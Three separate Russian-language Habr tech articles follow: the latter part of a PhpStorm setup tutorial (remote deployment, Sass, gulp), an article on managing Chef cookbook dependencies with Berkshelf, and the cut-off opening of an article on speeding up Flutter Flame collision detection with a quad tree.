Далее программа предложит указать какие файлы относятся к проекту, для этого указываем папку с проектом на удаленном сервере и жмём кнопку «Project root». В моем случае это все, что лежит на сервере. В результате у Вас появится зеленый фон, что файлы помечены.
**изображение**
**изображение**
Если мы нажмем продолжить, что программа начнет скачивать отмеченные файлы на ПК с сервера. Так как проекты обычно очень большие по объему и кол-ву файлов, мы это делать не будем. Для этого добавим файлы в исключение, нажав на кнопку «Excluded from download». В дальнейшем, мы разберем как загрузить только нужные нам файлы.
**изображение**
Жмём «далее» программа предложим, указать нам свой путь для корневой папки проекта. Тут можно поставить "/" или просто нажать кнопку «Finish».
**изображение**
Готово! Мы связали наш проект с удаленным сервером. Теперь попробуем скачать какой-нибудь файл с сервера, внести в него правку и отправить обратно на сервер. Сначала нам, нужно поправить настройки. Если помните, выше, мы добавили в исключение весь проект, чтобы не скачивать его полностью. Нажимаем сочетание клавиш «Сtrl+Alt+S», переходим в раздел «Build, Execution, Deployment — Deployment», нажимает на вкладку «Excluded path» и удаляем исключения, кликнув на путь, а после нажав кнопку «Remove path», после чего жмём кнопку «OK».
**изображение**
В результате, если все сделано правильно, то во вкладке «Remote host» наши файлы подсветятся зеленым фоном.
**изображение**
Для того, чтобы скачать файл или папку к себе на ПК, нужно кликнуть правой кнопкой мыши и в появившемся всплывающем меню выбрать пункт «Download from here». После чего файлы загрузятся к Вам на ПК.
**изображение**
Как только файлы загрузятся они отобразятся во вкладке «Project» и в окне передачи файлов «File transfer \*имя удаленного сервера\*» появится соответствующее сообщение.
**изображение**
После чего вносим правку в нужный нам файл и отправляем его обратно на сервер. Для этого нужно кликнуть правой кнопкой мыши по файлу, во вкладке «Project», и во всплывающем меню выбрать пункт «Upload to».
**изображение**
**изображение**
По желанию, можно назначить горячие клавиши (keymap) для быстрого скачивания и отправки файлов.
Данный способ удобен, если нам нужно поправить только один файл, но для полноценной разработки, лучше настроить автоматическую отправку файлов на сервер. Для этого нажимаем сочетание клавиш «Ctrl+Alt+S» или в меню «Tools — Deployment — Options» и вносим правки:
* Create empty direcory — после создания пустой папки так же загрузит ее на сервер.
* Upload changed files automatically to the default server — выбираем пункт «always»
* Upload external change — ставим галочку, позволяем загружать файлы, которые модифицируется другими программами. например карты css, js
* Warn then uploading over newer file — выбираем пункт «compare timestamp & size», проверяем модифицировался ли файл по времени и размеру
* notify about remote changes — предупреждает если мы пытаемся залить не актуальную версию исходного файла. Например если файл одновременно правили 2 человека. Будет предложено, перезатереть, смержить, пропустить.
**изображение**
**изображение**
На этом настройка проекта связанного с удаленным сервером завершена. Далее мы рассмотрим основные настройки и возможности IDE. нужно это, для того, чтобы в команде был минимальный порог одинаковых знаний.
### Настройка визуального интерфейса и обзор возможностей IDE
Первым делом включим поддержку «Tool windows», это специальные вкладки которые позволяют визуально переключаться между возможностями IDE. Сделается это просто, нужно нажать на иконку в левом нижнем углу, после чего появятся закладки слева, справа, снизу. Так же это можно сделать из меню IDE «View — Tools buttons».
**изображение**
Удалить не нужные вкладки, можно нажав правой кнопкой мыши по вкладке и выбрать пункт «Remove from sidebar».
**изображение**
Я рекомендую расположить вкладки следующим образом:
* На левой панели расположить вкладки «project», «gulp», «npm»
* На нижней панели расположить вкладки «terminal», «version control», «file transfer» «rest», «todo», «event log»
* На правой панели расположить вкладки «remote host»
В дальнейшем мы рассмотрим все эти инструменты.
**Отображение нумерации строк, отступов, цвета в IDE**
Перейдем в настройки IDE нажав сочетании клавиш «Сtrl+Alt+S» или из меню программы «File — Settings» и перейти в раздел «Editor — General — Appearance» и проставить галочки:
* «Show line number» — показываем номер строк в документе
* «Show vertical indent guides» — показываем вертикальное выравнивание
* «Show css color preview icon in gutters» — показывает небольшой квадратик, возле номера строки, с текущим цветом
* «Show whitespace» — показывает отступы в табах или пробелах. настройка подойдет начинающим верстальщика, чтобы соблюдать семантику.
Остальные настройки можно не менять.
**изображение**
В результате должно все отобразиться примерно, как показано на изображениях ниже.
**изображение**
**изображение**
### Подсказки по коду
По умолчанию редактор подскажет, если в коде есть замечания или ошибки. Справа в текущем документе будут отображаться желтые или красные полоски. Кликнув по полоске Вас сразу перекинет на строчку, где возникла ошибка или замечание. Так же можно просмотреть ошибку\замечание просто наведя курсор на полоску.
**изображение**
### Просмотр страницы в браузере
Для просмотра страницы в браузере наведите мышью в правый угол документа, появится окно в котором будет предложено выбрать, в каком браузере вы хотите просмотреть страницу. Так же это можно сделать нажав сочетание клавиш «Alt + F2» (внимание сочетание клавиш может отличаться!).
По умолчанию IDE откроет на localhoste страницу для просмотра. Если Ваш проект связан с удаленным сервером, то будет открыта страница указанная в пути(Web server root url).
**изображение**
Так же можно настроить список браузеров, указать в каком браузере открывать по умолчанию, и отключить всплывающую подсказку в правом верхнем углу документа. Для этого необходимо нажать сочетание клавиш «Ctrl+Alt+S» и перейти в раздел «Tools — Web browsers» или воспользоваться поиском, как это показано на изображении ниже.
**изображение**
### Инструмент emmet
Данный инструмент, уже предустановлен, поэтому никаких дополнительных установок делать не нужно, можно сразу пользоваться. Документацию по инструменту emmet можно посмотреть на [сайте](http://emmet.io/), [примеры](http://docs.emmet.io/), [шпаргалка](http://docs.emmet.io/cheat-sheet/).
### Правка файлов только на удаленном сервере
Для правки файлов на удаленном сервере, кликаем на вкладку «remote host», открываем файл, не загружая его на свой пк (кликаем 2 раза на файл, во вкладке remote host). Для того чтобы отправить файл на сервер нажимаем на иконку . Так же есть возможность откатить правки обратно, нажав на иконку , или посмотреть изменения нажав на иконку .
**изображение**
### Работа с локальной историей файлов
Для того, чтобы просмотреть локальную историю изменений файла, нужно кликнуть правой кнопкой мыши по файлу, и выбрать пункт «Local History — Show History».
**изображение**
В результате откроется окно, в котором слево будет отображена вся доступная история изменений файла и 2 колонки. Левая колонка это состояние файла из истории, а в правой — текущее. Обратите внимание, Вы можете вносить правки только в правую колонку. Так же доступны кнопки откатить изменения или сохранить патч. После закрытия окна, все изменения в правой колонке, автоматически сохраняться.
**изображение**
### Сравнение содержимого 2-х файлов
Для того чтобы сравни 2 файла на вашем ПК, необходимо кликнуть по файлу правой кнопкой мыши и выбрать пункт «Compare with» в появившемся окне указать, с каким файлом мы хотим сравнить.
**изображение**
Для того чтобы сравнить локальный файл с файлом на удаленном сервере, необходимо кликнуть по файлу правой кнопкой мыши и выбрать пункт «Deploymet — Compare with deployed version on \*имя удаленно сервера\*».
**изображение**
### Смена кодировки
Бывает, что необходимо перекодировать файлы из cp-1251 в utf-8. Для этого необходимо в файле кликнуть правой кнопкой мыши, и выбрать пункт «File Encode». Так же это можно сделать кликнув по выбору кодировки.
**изображение**
**изображение**
### Исправление символов переноса
В unix системах символы переноса на новую строку, отличаются от символов в Windows. Из-за этого может получиться так, что при сравнении файлов, весь файл будет подсвечиваться как модифицированный, на деле Вы поменяли всего лишь 1 символ.
Рекомендуется использовать unix переносы. В меню программы «file — file encoding».
**изображение**
### Настройка табуляции, конвертация табов\пробелов
В случае если документ содержит несколько вариантов табуляции, редактор Вам подскажет это и предложит выбрать.
**изображение**
Так же это можно сделать в настройках, нажав «Ctrl+Alt+S» и перейдя в раздел «Editor — Code Style», выбрать нужный формат документа и поставить галочку «Use tab charaster».
**изображение**
Для быстрого переформатирования документа нужно в меню программы «Edit — Convert Indents» выбрать какой символ использовать.
**изображение**
### Поиск расположения файлов на ПК
Чтобы быстро найти расположение файла на ПК, необходимо кликнуть правой кнопкой мыши по файлу, и выбрать пункт «Show in Explorer», отроется папка с выбранным файлом.
**изображение**
### Быстрое отформатировать в семантический код
Иногда попадаются файлы, которые не возможно читать из-за плохого форматирования или минимизации. Тут нам поможет реформатирование кода, в меню программы выбираем пункт «Code — Reformat Code».
**изображение**
### Работа с терминалом и ssh session
Вызвать терминал можно средствами меню программы «View — Tools Windows — Terminal», сочетанием клавиш (Alt+ F12), из панели быстрого доступа. По сути это командная строка в Windows.
Для запуска SSH Терминала для подключения к серверу, нужно перейти в меню программы «Tools — Start SHH Session» после чего выбрать уже существующее подключение, или указать параметры подключения для нового.
**изображение**
### Заметки и закладки
Для добавления заметки необходимо добавить Html комментарий с текстом todo. Вызвать панель заметом можно из меню программы «View — Tools Windows — TODO» или из панели быстрого доступа. При помощи фильтра можно настроить отображение заметок. По двойному клику на заметку, у Вас автоматически откроется файл и курсов будет расположен на заметке.
```
```
**изображение**
Закладки позволяют быстро просматривать или показывать куски кода. Для добавления закладки необходимо установить курсор на начало нужного куска кода и при помощи горячей клавиши (F11) или из меню программы «Navigate — Bookmark — Toggle Bookmark» поставить закладку. Закладка отобразится в виде галочки.
**изображение**
Для быстрого просмотра при помощи горячей клавиши(Shift-F11) или из меню программы «Navigate — Bookmark — Show Bookmark» вызвать окно просмотра.
**изображение**
### LiveEdit(LivePreview) просмотр изменений без перезагрузки страницы на ПК
Установим плагин LiveEdit. Для этого необходимо открыть настройки программы(Ctrl+Alt+S), затем перейти в раздел «Plugins» и нажать кнопку «Browse repositories...».
**изображение**
В открывшемся окне, в строке поиска ввести «Live Edit» и нажать кнопку Install. После установки программа попросить перезагрузить ее.
**изображение**
Снова идем в настройки программы (Ctrl+Alt+S), затем в «Build, Execution, Debbug — Live Edit» и ставим галочку на «Auto in (300 ms)».
**изображение**
Теперь необходимо [установить](https://chrome.google.com/webstore/detail/jetbrains-ide-support/hmhgeddbohgjknpmjagkdomcpobmllji) дополнение, для браузера, чтобы связать наш редактор и браузер. Обратите внимание, что дополнение работает, только в браузерах Chrome, Yandex. В будущем разработчики обещают дополнение для браузеров Firefox, Safari. Более детально вы можете прочитать на [сайте](https://confluence.jetbrains.com/display/PhpStorm/Live+Edit+in+PhpStorm#LiveEditinPhpStorm-ChromeExtensionInstallation) разработчиков.
**изображение**
Запускаем Live Edit, для этого выбираем пункт в меню программы «Run — Debug» или на панеле быстрого доступа нажимаем иконку жука.
Обращаю Ваше внимание, что режим «Live Edit» работает только для локальных проектов, т.е только для тех файлов, которые лежат на вашем ПК и не связаны с удаленным сервером.
**изображение**
Этап 2 — установка и настройка компилятора стилей (sass,scss)
-------------------------------------------------------------
Для установки компилятора на понадобится установить:
* [nodejs](https://nodejs.org/en/download/)
* [ruby](http://rubyinstaller.org/downloads/)
* gem sass, gem scss
**Важно!** Установка должна производится от имени администратора.
### Установка nodejs
Скачиваем установщик для Windows c официального [сайта](https://nodejs.org/en/download/). Стандартная установка, но на этапе выбора компонентов убедитесь, что выбраны пункты «Add to path». Должно быть как на изображении ниже.
**изображение**
### Установка ruby
Скачиваем установщик для Windows c официального [сайта](http://rubyinstaller.org/downloads/). Стандартная установка, но на этапе выбора компонентов убедитесь, что стоит галочка «Add Ruby Executables to PATH».
**изображение**
Перезапускаем Phpstorm закрыв его или воспользоваться из меню программы «File — Invalidate Chache / Restart — Just Restart». Проверяем версию nodejs и ruby. Для этого нужно набрать в терминале
```
node -v
```
и
```
gem -v
```
В результате:
**изображение**
Иногда требуется перезапустить компьютер чтобы терминал заработал. Все зависит от версии Phpstorm.
### Установка gem sass, scss
Для установки пакетов необходимо по очереди в терминале ввести команды:
```
gem install sass
```
и
```
gem install scss
```
При первой установке вплывет стандартное окно Windows с вопросом, можно ли выполнить приложение ruby. Жмём «ОК».
**изображение**
**изображение**
Установка закончена, теперь произведем настройку, чтобы наши файлы автоматически компилировались из sass в css.
Если мы создадим новый файл .sass или .scss, то при открытии его программа, автоматически предложит нам назначить «File Watcher».
**изображение**
Нажав на ссылку «Add watcher», автоматически откроется окно с настройкой наблюдателя. Если у нас всё установилось корректно, то в поле programm у нас будет путь к sass.bat файлу.
**изображение**
Нажимаем «ОК» и на этом быстрая настройка завершена. Проверяем работу компилятора, для этого напишем любой кусок кода в sass файле. В результате после нажатия «Ctrl+S» будет выполнена компиляция стилей.
**изображение**
В случае если в файле допущена ошибка, программа выдаст нас ошибку и файл не будет скомпилирован.
**изображение**
Но часто бывает, что файлы .sass(препроцессоров) лежат в одной папке, а результат .css нужно помещать в другую папку. Для этого нам нужно, лишь поправить пути. Нажав сочетание клавиш (Ctrl+Alt+S) и переходим в раздел «Tools — File Watchers».
**изображение**
Далее кликаем 2 раза по строчке Sass.
**изображение**
Поле «Arguments» после символа ":" нужно указать путь к папке css. Жмём на кнопку «Inset macros» и вставляем переменную "$FileDir". В данном случае "$FileDir" это переменная программы, которая автоматически будет подставлять путь до нашего проекта.
**изображение**
В результате должно получиться `$FileDir$\css\$FileNameWithoutExtension$.css` , где первая переменная это путь к проекту, затем имя папки, где нужно хранить .css файлы, и имя переменной файла. Этот кусок `$FileDir$\css\$FileNameWithoutExtension$.css` нужно вставить и в поле «Output path to elements». Обращаю Ваше внимание, что в указании пути стоять обратные слеши "\".
В результате получим, как на изображении, и жмём кнопку «ОК».
**изображение**
Проверяем, для этого нужно просто внести любое изменение в .sass файл и нажать «Ctrl+S». Программа автоматически создаст папку с названием «css» и поместить в нее скомпилированные файлы.
Старые файлы можно удалить.
**изображение**
Для .scss файлов принцип тот же. Только «File Watchers» будет SCSS и программа подставит в поле programm путь к scss.bat файлу.
**изображение**
**изображение**
Настройку дополнительных компиляторов можно посмотреть на официальном [сайте](https://www.jetbrains.com/help/phpstorm/2016.1/transpiling-sass-less-and-scss-to-css.html?origin=old_help#d324439e219)
Этап 3 — установка сборщика проектов, пример настройки (gulp)
-------------------------------------------------------------
### Пример установки и настройки с нуля
Для создания конфигурационного файла необходимо в терминале набрать команду `npm init`, после чего будут заданы ряд вопрос, где можно жать кнопку «Enter». Только в поле «entry points» укажите название вашего файла, в данном случае это будет «gulpfile.js»
**изображение**
Если вы что-то нажали не так, или решили исправить, то можно это сделать зайдя в сам файл package.json, который создался и располагается в корне проекта.
Более детально о настройке вы можете прочитать на официальном [сайте](https://docs.npmjs.com/cli/init).
**изображение**
Теперь нам нужно установить сам gulp, и какой-то полезный плагин, пускай это будет autoprefixer. О проекте PostCss и Autoprefixer Вы можете прочитать на официальном [сайте](http://postcss.org/).
Для установки Gulp, нужно набрать команду в терминале `npm install gulp --save-dev` и дождаться окончания установки. Если все прошло успешно, в корне у нас будет создана папка node\_modules, в которой будет установлен менеджер пакетов Gulp. Ключ --save-dev, нужен чтобы установить пакеты локально, и в дальнейшем использовать на других проектах.
**изображение**
Теперь установим [autoprefixer](https://www.npmjs.com/package/gulp-autoprefixer), для этого наберем команду `npm install gulp-autoprefixer --save-dev` и дождёмся окончания установки.
Обратите внимание, что установка [autoprefixer](http://postcss.org/) на официальном сайте, отличается от установки на сайте [npm](https://www.npmjs.com/package/gulp-autoprefixer). Это связано с тем, что на официальном сайте, autoprefixer работает через PostCss(постпроцессор). В дальнейшем, лучше использовать данный плагин через PostCSS.
Теперь если мы откроем файл package.json, то увидим, что наши дополнения автоматически прописались в блок «devDependencies».
Установка плагинов завершена, теперь их нужно настроить.
Для этого создадим в корне файл «gulpfile.js», и вставляем туда код который указан на сайте [npm](https://www.npmjs.com/package/gulp-autoprefixer) в блоке usage и сохраняем его (Ctrl+S).
**изображение**
Я внес небольшие изменения, чтобы было более понятно.
**изображение**
**Просмотреть код**
```
var gulp = require('gulp'),
autoprefixer = require('gulp-autoprefixer');
gulp.task('autoprefix - плагин', function () {
return gulp.src('css/sass-style.css')
.pipe(autoprefixer({
browsers: ['last 2 versions'],
cascade: false
}))
.pipe(gulp.dest('css/'));
});
```
Проверяем работу плагина. Добавим в .sass файл свойство display:flex и сохраним его. По умолчанию он скомпилирует результат в .css файл.
**изображение**
Для того, чтобы выполнить наше задание, откроем панель gulp, сделать это можно кликнув правой кнопкой мыши по файлу «gulpfile.js» и выбрать пункт «Show Gulp Tasks» или из меню программы «View — Tools WIndows — Gulp». В результате чего отроется панель со списком задач.
**изображение**
**изображение**
Внимание! После любых правок в файле «gulpfile.js», необходимо обновить задачи.
**изображение**
Кликаем 2 раза по заданию, и ждём окончание его выполнения. Если все прошло успешно, терминал оповестить Вас об этом. Как видите, у нас добавились префиксы в файле .css.
**изображение**
Для примера добавим ещё один плагин, который позволит [минифицировать](https://www.npmjs.com/package/gulp-cssnano) код.
Выполним следующую команду в терминале `npm install gulp-cssnano --save-dev` и дождёмся окончания установки.
Теперь необходимо обновить «gulpfile.js», согласно документации указанной на [сайте](https://www.npmjs.com/package/gulp-cssnano) и не забываем обновить задачи в gulp вкладке.
**Просмотреть код**
```
var gulp = require('gulp'),
autoprefixer = require('gulp-autoprefixer'),
cssnano = require('gulp-cssnano');
gulp.task('autoprefix - плагин', function () {
return gulp.src('css/sass-style.css')
.pipe(autoprefixer({
browsers: ['last 2 versions'],
cascade: false
}))
.pipe(gulp.dest('css/'));
});
gulp.task('nano ', function() {
return gulp.src('css/sass-style.css')
.pipe(cssnano())
.pipe(gulp.dest('css/'));
});
```
В результате у нас должно появиться ещё одно задание.
**изображение**
Кликаем 2 раза по заданию «nano» и получаем минифицированый файл, без лишних пробелов, отступов, переносов и.т.д.
**изображение**
Как видите ничего сложного нет. Больше полезных плагинов Вы можете найти [тут](http://postcss.parts/), так же рекомендую подписаться на группу [вконтакте](https://vk.com/postcss), в который Вы сможете следить за развитием проекта ~~и замучать вопросами автора PostCss~~.
Дальше у Вас скорей всего возникнет логичный вопрос: «Мне каждый раз придется, каждый раз так устанавливать все плагины для других проектов?»
Чтобы каждый раз не ставить все плагины и настройки в ручную, я рекомендую сохранить, свои файлы «package.json» и «gulpfile.js». В дальнейшем, нужно будет только, скопировать эти два файла, в новый проект и выполнить команду `npm install` и все дополнения(autoprefixer, nano ...) автоматически установятся. Очень важно всегда придерживаться единой структуры хранения файлов. Тогда не придется править пути к файлам. Как правильно организовать структуру файлов, Вы можете поискать в интернете.
На этом настройка закончена. В целом время на прочтение и настройку займет не больше одного часа. Надеюсь статья будет Вам полезна.
В планах добавить обзор систем контроля версии(git, mercurial). | https://habr.com/ru/post/282003/ | null | ru | null |
# Berkshelf и зависимости Chef cookbook-ов
Привет, Хабрапользователи!
Я продолжаю свое погружение в пикантности *automation*-а и *configuration management*-а, параллельно пытаясь делится опытом с *community*.
Речь пойдет опять об инструменте автоматизации разрешения зависимостей **Сhef** *cookbook*-ов, которым наша компания пользуется, а именно — **Berkshelf**.
А при чем тут Berkshelf?
------------------------
**Chef** имеет достаточно большое и развивающееся community, которое постоянно делает свой внос в создание и редактирование *cookbook*-ов. Все они хранятся на сайте Community, многие из них — очень часто используются нами.
Однако есть одно «но» в нашей компании, связанное с редактированием *community cookbook*-ов. Правильный путь внесения каких-либо изменений в оные, связанных с спецификой инфраструктуры компании — это написание **wrapper**-ов, содержащих в себе изменения (например, переназначение атрибутов, подмена рецептов и пр.). Вкратце, процесс написания wrapper-а описан в [этой статье](http://www.getchef.com/blog/2013/12/03/doing-wrapper-cookbooks-right/).
Но, наличие правильного пути совсем не означает, что все последуют по нему. Именно поэтому в *репозитории* cookbook-ов нашей компании — оказалось много *community cookbook*-ов с недобросовестными правками. И настало время почистить репозиторий :)
План был следующим:
— выделить *community cookbook*-и в нашем репозитории;
— оценить наличие и количество локальных правок (*diff* между одинаковыми версиями *cookbook*-ов);
— вынести изменения во *wrapper* и включить в него вызов *community cookbook*-а или рецепта из него;
— удалить *community cookbook* и внести его в зависимостях *wrapper*-а.
А что делать с «очищенными» *community cookbook*-ами? Как после удаления — они появятся «чистыми» на *Chef Server*-е?
Как раз тут на помощь и приходит **Berkshelf**.
Что такое Berkshelf и с чем его едят?
-------------------------------------
Berkshelf является **менеджером** **зависимостей** для *Chef cookbook*-ов. Он написан на Ruby и имеет методы и API для взаимодействия с **Chef Server**.
Установка **Berkshelf** происходит из Ruby Gems *либо* в рамках использования [Chef DK](http://www.getchef.com/downloads/chef-dk/windows/).
Мы используем **Berkshelf** версии **2.0**, однако совсем недавно была выпущена версия 3.0, которая принесла некоторые изменения и «плюшки».
Если вы решите использовать *Ruby Gem* — советую устанавливать его в рамках *Ruby*, установленного *Chef Server*-ом (исполняемые файлы находятся по пути — */opt/chef/embedded/bin/*).
Для взаимодействия с Chef Server-ом необходимо сконфигурировать Berkshelf, указывая ему адрес нашего сервера и сертификаты для авторизации на нем. Для **конфигурации** необходимо запустить следующую команду:
```
berks configure
```
**Конфигурационные** файлы находятся по одному из нижеприведенных путей:
```
$PWD/.berkshelf/config.json
$PWD/berkshelf/config.json
$PWD/berkshelf-config.json
$PWD/config.json
~/.berkshelf/config.json
```
После корректной установки **Berkshelf**-а — можно переходить к разрешению **зависимостей** *cookbook*-ов.
Для этого, **Berkshelf** на первом этапе копирует *cookbook*-и и их **зависимости** на свои *shelf*-ы (локальный хранилище/репозиторий *Berkshelf*-а, по умолчанию — директория *~/.berkshelf/cookbooks/*), а потом загружает все на *Chef Server*.
Сразу появляются вопросы: "*Откуда Berkshelf знает про зависимости?*", "*Что он делает для их разрешения?*"
Инструкции для **Berkshelf** содержатся в *Berksfile*, находящемся в корневой директории *cookbook*-а. Создается этот файл при помощи команды
```
berks init
```
в корневой директории.
Содержимое этого файла описывает зависимости и источник для их разрешения. Пример такого файла:
```
site :opscode
metadata
cookbook 'my-cookbook', (:path | :git | :github)
cookbook 'my-book-2', ('> 1.0.0')
```
Этот файл предписывается следующее:
— учитывать зависимости из файла **metadata.rb** нашего cookbook-а и загружать их с *Opscode Community* сайта;
— **my-cookbook** будет загружен по пути, указанному в скобках (это может быть либо *локальный* путь, либо ссылка на *Git*);
— **my-book-2** последней версии, высшей чем 1.0.0, будет загружен с *Opscode Community* сайта.
После этого можно запустить
```
berks install
```
и дождаться успешного копирования зависимостей в локальное хранилище *Berkshelf*-а. В результате в директории хранилища должны оказаться все *cookbook*-и, упомянутые в поле **depends** файла **metadata.rb**, их **зависимости** (зависимости зависимостей) и два **cookbook**-а, упомянутых в *Berksfile*. Верифицировать результат можно командой
```
berks shelf list
```
Следующий шаг — запуск
```
berks upload
```
который загрузит все с локального хранилища на *Chef Server*. В результате (при условии, что *Chef Server* доступен и мы можем авторизоваться на нем, используя файлы сертификатов) — все зависимости будут разрешены. Результат загрузки можно проверить командой
```
knife cookbook list
```
вывод которой должен содержать новые *cookbook*-и.
По сути, вот и весь процесс базового использования **Berkshelf**. Конечно, это еще не весь функционал, т.к. не упоминается взаимодействие **Berkshelf** с *Vagrant*, *Chef Solo*, *Chef Client*, а также некоторые новшества версии 3.0. Однако, я считаю этого достаточно для большинства.
Наша история использования Berkshelf
------------------------------------
Все было бы хорошо, если бы опять не одно «но» — **Berkshelf** не умеет работать циклически. Я очень удивлен, т.к. не нашел варианта, при котором он "*нативно*" мог учитывать вложенность директорий с *cookbook*-ами, эдакий *nested*-режим. Что я имею ввиду?
Например, представим себе типичнейшую ситуацию, есть директория *chef-repo*, в которой вложена директория *cookbooks*, содержащая наши cookbook-и (*./chef-repo/cookbooks/*).
В текущей версии **Berkshelf** — необходимо переходить в каждую из директорий cookbook-ов и выполнять в ней команды, связанные с **Berkshelf**. То есть — **bash**-скрипт, который бы это делал, не руками же, в самом деле… Это решение, но увы — не самое лучшее, откровенно говоря — «костыльное».
На просторах Интернета была найдена [статья](https://coderwall.com/p/j72egw), в которой используя Ruby-код, решался данный вопрос.
Приведу код нашего "*корневого*" Berksfile, находящегося в директории *./chef-repo/*:
```
site :opscode
metadata
def dependencies(path)
berks = "#{path}/Berksfile"
instance_eval(File.read(berks)) if File.exists?(berks)
end
Dir.glob('./cookbooks/*').each do |path|
dependencies path
cookbook File.basename(path), :path => path
end
cookbook 'gecode', '= 2.1.0'
```
По сути, этот кусок кода собирается содержимое всех директорий *cookbook*-ов (их **metadata.rb** и **Berksfile**-ов) в "*корневой*" Berksfile.
Мы успешно применили предложенное решение и вуаля — все *cookbook*-и оказались на нашем *Chef Server*.
Однако, в упомянутой статье не упоминалось одна **большая** особенность — **формат** *Berksfile*-ов наших *cookbook*-ов.
Опытным образом было выяснено, что они должны выглядеть следующим образом:
```
group :name_of_cookbook do
cookbook 'my-cookbook', (:path | :git | :github)
cookbook 'my-book-2', ('> 1.0.0')
end
```
То есть, список *cookbook*-ов, которые должны соответствовать **определенным условиям** — например, версии или местоположению, заключенный в **группу** (для того, чтобы одинаковые зависимости разных cookbook-ов не вызывали конфликты типа multiple entries). Все остальные зависимости берутся из файла **metadata.rb**. Под катом — конкретный пример, дабы было нагляднее:
**Скрытый текст**
```
group :database do
cookbook 'postgresql', '= 3.3.4'
cookbook 'aws', :path => './cookbooks/aws'
cookbook 'xfs', :path => './cookbooks/xfs'
cookbook 'mysql', '= 4.1.2'
end
```
В итоге, для *cookbook*-а **database** будут загружены 4 *cookbook*-а, соответствующих определенным условиям, а также все остальные зависимости, упомянутые в **metadata.rb**, а также упомянутые зависимости зависимостей (уж простите за тавтологию).
Все, что остается сделать после редактирования *Berksfile*-ов наших cookbook-ов — это запустить в директории *./chef-repo* команды
```
berks install && berks upload
```
Вот такое вот решение, возможно не очень надежное или удобное — но решение. Отработало с нашими репозиториями несколько раз успешно.
Если кто-то сталкивался с данным вопросом и может поделится *опытом* — пишите комментарии или ЛС.
Всем спасибо за внимание, до новых статей.
**P.S.** Коллега говорит, что Berkshelf v.3.0 — поломан, так что — не советуем! | https://habr.com/ru/post/221791/ | null | ru | null |
# Flutter Flame: ускоряем в 32 раза работу со столкновениями
Как я уже писал ранее, на FPS в Flame в основном влияют операции, производимые на CPU. Если в вашей игре достаточно много взаимодействующих объектов, то одной из самых дорогих операций будет определение столкновений. Настолько дорогой, что на экране performance-метрики она закроет собой любые другие неоптимизированные участки.
Сами авторы Flame отлично осознают, что их алгоритм – не идеальный, а просто «дающий достаточную производительность». Достаточна она, видимо, для случаев, когда у вас всего объектов 10, не более. Если же у вас что-то более сложное – тогда приятного чтения!
Проблемы алгоритма Flame
------------------------
Алгоритм определения столкновений состоит из двух фаз:
1. Предварительная, или "Broadphase": алгоритм определения столкновений низкой точности, но работающий на большом количестве объектов. Вычищает из выборки объекты, которые точно НЕ пересекаются.
2. Непосредственное определение столкновений: детальное и дорогостоящее определение для пар оставшихся объектов, сталкиваются они или нет. Именно во время этой фазы вызываются пользовательские callback-функции `onCollision`.
В Flame для повышения производительности реализована концепция активных и пассивных объектов: активные объекты сталкиваются с пассивными и между собой. Столкновения между пассивными объектами не вычисляются вовсе, но всегда можно поменять тип объекта. Эта маленькая деталь исключает из обеих фаз определения столкновений существенное количество объектов, что в сравнении с Bonfire даёт серьёзный прирост производительности.
Но можно ещё быстрее 😊
**Первая проблема:** в логике вашего приложения могут быть разные типы объектов, все являющиеся активными, но при этом для них не должны вычисляться взаимные столкновения. Пример: снаряды, выпущенные дружественными игроками, если у вас исключена возможность friendly fire. Или же сами «дружественные игроки», если механика вашей игры предполагает, что они не мешают движению друг друга.
Другой кейс: пассивный объект, который должен сталкиваться лишь с определёнными типами активных объектов. Пример: вода на карте, которую не может пересечь ничто, движущееся по земле, но должно пересекать всё летающее по воздуху.
Кажется, проблема решается просто: в `onCollision` добавляем проверку по типу объекта, игнорируем столкновения, если объекты оказываются определённого типа. Беда в том, что этим мы не облегчаем процесс, а только утяжеляем алгоритм дополнительными проверками, ведь `onCollision` вызывается уже после того, как проходит Broadphase и после того, как ресурсы на дорогостоящую проверку столкновений уже потрачены.
В идеале, такие проверки должны быть вынесены в Broadphase. Также в идеале их результат должен кэшироваться, чтобы не нагружать этот алгоритм, поскольку изменение типа объекта во время игры маловероятно (в крайнем случае, если уж надо превратить воду в стену, для этого правильнее было бы удалить объект с типа «вода» и добавить на его место объект с типом «стена»).
Реализация такой механики возможна, но для этого нужно переопределить `StandardCollisionDetection`.
**Вторая проблема:** алгоритм Broadphase в Flame оставляет слишком много пар объектов для детальной проверки. В итоге на карте с большим количеством «препятствий» на детальную проверку столкновений может выпасть по несколько десятков пар объектов, что значительно нагружает систему. Кроме того алгоритм «Sweep and prune» (<https://ru.wikipedia.org/wiki/Sweep_and_prune>) , который использует Flame, на каждом запуске производит перебор всех объектов на карте, что само по себе дорого, когда их много. Хорошо бы как-то ограничить выборку этих объектов.
В принципе, сами авторы осознают проблему, и прямо в документации оставили «подсказку»:
Алгоритм Quad Tree
------------------
Основная идея Quad Tree алгоритма заключается в том, что мы делим карту на сектора. Далее для каждого объекта определяем сектор, в котором он находится, и проводим проверку на столкновения только с объектами внутри этого сектора. Это позволяет не работать со всем множеством игровых объектов, а только с теми, которые находятся в непосредственной близости от активных объектов.
Вторая изюминка алгоритма в том, что карта делится не статически. При достижении некоего критического числа объектов в одном «квадранте», которое уже слишком дорого обрабатывать вместе, этот квадрант делится на 4 квадранта меньшего размера, и объекты распределяются между этими дочерними квадрантами. Таким образом, ваша карта будет проанализирована алгоритмом и автоматически поделена на много мелких зон, где высока концентрация объектов, и на более крупные зоны, где этих объектов не так много.
Для наглядности, на этом рисунке можно посмотреть «дебаг» того, как система разбила на квадранты игровую карту:
Белые цифры - количество объектов в квадрантеВ сети есть много реализаций данного алгоритма. Есть и версия на Flutter с впечатляющей демкой: [quadtree\_dart](https://pub.dev/packages/quadtree_dart).
К сожалению, ни одно решение меня не устроило. Проблемы у всех разные, но общий список «почему нет» такой:
1. Авторы алгоритмов часто думают только о движущихся объектах. А если все объекты сцены каждый раз меняют своё положение, то кажется нормальным каждый раз пересчитывать всю карту, разбивать её на секции заново.
2. В реальности же на игровой карте скорее будет больше статичных объектов, чем динамичных. В этой ситуации как раз целесообразно разбить карту на секции один раз, не тратить ресурсы на удаление опустевших секций (это довольно ресурсоёмкая операция), а только добавлять новые при необходимости.
3. Как следствие первого пункта, авторы большинства алгоритмов, чтобы определить, к какому квадранту относится объект, начинают заново вычислять квадрант по координатам. Для примера, автор одного из алгоритмов писал, что «не видит в этом проблемы и какого-либо влияния на производительность». Скорее всего, на C++ действительно код гораздо производительнее, чем на dart. А возможно, у него в тесте просто не было большого числа статических объектов.
